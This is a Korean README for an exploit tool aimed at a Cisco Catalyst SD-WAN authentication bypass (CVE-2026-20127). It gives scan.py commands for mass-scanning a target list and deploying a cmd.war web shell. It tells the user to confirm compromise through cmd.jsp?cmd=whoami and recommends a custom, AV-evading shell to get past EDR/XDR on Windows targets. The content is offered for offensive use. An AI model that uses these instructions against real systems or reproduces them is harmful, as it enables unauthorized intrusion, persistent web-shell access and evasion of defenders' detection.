CVE-2026-20127_EXP

Cisco Catalyst SD-WAN 인증 우회 취약점(CVE-2026-20127) 익스플로잇 EXP

기본 사용법

python scan.py -f targets.txt

상세 정보 표시

python scan.py -f targets.txt -v

스레드 수 조정 및 결과 저장

python scan.py -f targets.txt -t 10 -o vulnerable.txt

WAR 파일 경로 지정

python scan.py -f targets.txt -w cmd.war

WAR 파일 경로 지정, 스레드 조정 및 결과 저장

python scan.py -f targets.txt -w cmd.war t 10 -o vulnerable.txt

=======주의사항========

취약점 재현 성공 후 /cmd.gz/cmd.jsp?cmd=whoami 접근 시 페이지에 결과가 표시됩니다

웹셸로 교체해야 하는 경우 직접 WAR 패키지를 제작하세요(면역(免杀) 셸 사용 권장, 테스트 결과 Windows 시스템에는 EDR 또는 XDR이 존재할 수 있음)